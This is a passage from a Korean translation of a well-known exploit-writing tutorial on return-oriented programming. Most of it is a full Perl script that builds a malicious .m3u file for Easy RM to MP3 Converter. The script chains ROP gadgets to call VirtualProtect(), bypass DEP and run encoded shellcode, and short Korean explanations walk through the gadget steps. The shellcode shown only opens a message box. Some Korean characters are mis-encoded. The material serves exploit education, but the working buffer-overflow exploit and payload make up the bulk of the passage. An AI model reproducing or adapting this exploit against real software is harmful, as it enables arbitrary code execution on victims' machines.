$rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding # my $nops = "\x90" x 240; # #./msfpayload windows/messagebox # TITLE=CORELAN TEXT="rop test by corelanc0d3r" R #./msfencode -e x86/alpha_mixed -t perl my $shellcode = "\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a". "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59". "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41". "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42". "\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51". "\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49". "\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46".

51 "\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c". "\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45". "\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48". "\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47". "\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48". "\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47". "\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e". "\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49". "\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48". "\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49". "\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49". "\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e". "\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a". "\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42". "\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44". "\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e". "\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b". "\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51". "\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43". "\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50". "\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51". "\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50". "\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c". "\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48". "\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e". "\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b". "\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50". "\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e". "\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51". "\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50". "\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43". "\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43". "\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50". "\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48". "\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46". "\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e". "\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45". "\x5a\x41\x41"; my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;

52 print "Payload size: ".length($payload)."n"; print "Shellcode size: ".length($shellcode)."n"; open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfullyn"; 코드를한단계씩실행한결과다음과같이두번째인자도덮어써짂것을확인할수있다. 4 단계및 5 단계 : 세번째와네번째인자 (size and protection flag) 세번째인자값은 0x300 바이트크기로결정했다. 우리에게필요한가젯은 XOR EAX, EAX 와 ADD EAX, 100 이다. 생성한인자를쓰는기법은이젂단계들과동일하다. - EAX와 ESI 저장 - EAX값 (XOR EAX, EAX [0x100307A9] 수행한다음 ADD EAX, 100 + RET[1002DC4C] 세번수행 ) - ESI에 4 바이트증가 - EAX에 ESI + 0x10 씀 네번째인자값 (0x40) 도같은원리로기록한다. - EAX와 ESI 저장 - EAX에 0을쓴뒤 40을더함 (XOR EAX, EAX + RET[0x100307A9] / ADD EAX,40 + RET[0x1002DC41]) - ESI에 4 바이트증가 - EAX에 ESI + 0x10 씀

53 마지막단계 : VirtualProtect 로점프 이젂단계들을통해 VirtualProtect() 의모든인자를스택에기록했다. 마지막으로해야할일은 ESP 가 VirtualProtect() 포인터가위치한곳을가리키도록맊드는것이다. 현재 레지스터내용은아래와같다. 어떻게하면 ESP 가 0x0010F740 을가리키도록맊들수있을까? 레지스터들을자세히살펴보면, EAX 에 0x0010F740 이들어가있음을확인할수있다. 고로, EAX 를 ESP 에삽입하고리턴하면우리의목적을달성 할수있을것이다. rop.txt 에서 PUSH EAX / POP ESP 조합을찾아보자. 0x73DF5CA8 # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN [Module: MFC42.DLL] 위코드는잘작동하지맊 pop 명령이두개나있는관계로, EAX 를먺저조정해주어야한다. 이는 EAX 에 8 을빼는명령을이용하면된다. 다음의명령을이용하자. 0x775D12F1 #SUB EAX,4 # RET 모든내용을코드에삽입하면다음과같이최종코드를구성할수있다. #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 #------------------------------------------------------------ my $file= "rop8.m3u"; my $buffersize = 26049;

54 my $junk = "Z" x $buffersize; my $eip=pack('v',0x100102dc); #return to stack my $junk2 = "AAAA"; #compensate #------Put stack pointer in EDI & EAX------------------------# my $rop=pack('v',0x5ad79277); #PUSH ESP, POP EDI $rop = $rop.pack('v',0x77c1e842); #PUSH EDI, POP EAX $rop=$rop."aaaa"; #compensate for POP EBP #stack pointer is now in EAX & EDI, now jump over parameters $rop=$rop.pack('v',0x1001653d); #ADD ESP,20 #-------Parameters for VirtualProtect()----------------------# my $params=pack('v',0x7c801ad4); #VirtualProtect() $params = $params."wwww"; #return address (param1) $params = $params."xxxx"; #lpaddress (param2) $params = $params."yyyy"; #Size (param3) $params = $params."zzzz"; #flnewprotect (param4) $params = $params.pack('v',0x10035005); #writeable address $params=$params.("h" x 8); #padding # ADD ESP,20 + RET will land here # change ESI so it points to correct location # to write first parameter (return address) my $rop2= pack('v',0x763c982f); # XCHG ESI,EDI # DEC ECX # RETN 4 #-----Make eax point at shellcode-------------------------- $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding - compensate for RETN4 before $rop2=$rop2."aaaa"; #padding #---------------------------------------------------------- #return address is in EAX - write parameter 1 $rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding #EAX now contains stack pointer #save it back to ESI first $rop2=$rop2.pack('v',0x775d131e); # PUSH EAX # POP ESI # RETN #-----Make eax point at shellcode (again)-------------------------- $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding #increase ESI with 4 $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll]

55 #and write lpaddress (param 2) $rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding $rop2=$rop2.pack('v',0x775d131e); # PUSH EAX # POP ESI # RETN # 300 $rop2=$rop2.pack('v',0x100307a9); #XOR EAX,EAX $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] #write (param4) $rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding $rop2=$rop2.pack('v',0x775d131e); # PUSH EAX # POP ESI # RETN #flnewprotect 0x40 $rop2=$rop2.pack('v',0x10010c77); #XOR EAX,EAX $rop2=$rop2.pack('v',0x1002dc41); #ADD EAX,40 # POP EBP $rop2=$rop2."aaaa"; #padding $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] #write (param4) $rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding #Return to VirtualProtect() #EAX points at VirtualProtect pointer (just before parameters) #compensate for the 2 POP instructions $rop2=$rop2.pack('v',0x775d12f1); #SUB EAX,4 # RET $rop2=$rop2.pack('v',0x775d12f1); #SUB EAX,4 # RET #change ESP & fly back

56 $rop2=$rop2.pack('v',0x73df5ca8); #[Module: MFC42.DLL] # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN # my $nops = "\x90" x 241; # #./msfpayload windows/messagebox # TITLE=CORELAN TEXT="rop test by corelanc0d3r" R #./msfencode -e x86/alpha_mixed -t perl my $shellcode = "\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a". "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59". "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41". "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42". "\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51". "\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49". "\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46". "\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c". "\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45". "\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48". "\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47". "\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48". "\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47". "\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e". "\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49". "\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48". "\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49". "\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49". "\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e". "\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a". "\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42". "\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44". "\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e". "\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b". "\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51". "\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43". "\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50". "\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51". "\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50".

57 "\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c". "\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48". "\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e". "\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b". "\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50". "\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e". "\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51". "\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50". "\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43". "\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43". "\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50". "\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48". "\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46". "\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e". "\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45". "\x5a\x41\x41"; my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest; print "Payload size: ".length($payload)."n"; print "Shellcode size: ".length($shellcode)."n"; open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfullyn"; 이번장에서는 ROP를구성하는재료들과그원리, 마지막으로실젂예제를다뤘다. 원문인 Exploit Writing Tutorial 10: ROP에서는이밖에도더맋은예제를다루고있지맊, 이문서에서모두다루지는않겠다. 하지맊여기에포함된내용들맊다이해한다면다른예제에응용하는데큰어려움이없을것이라생각한다.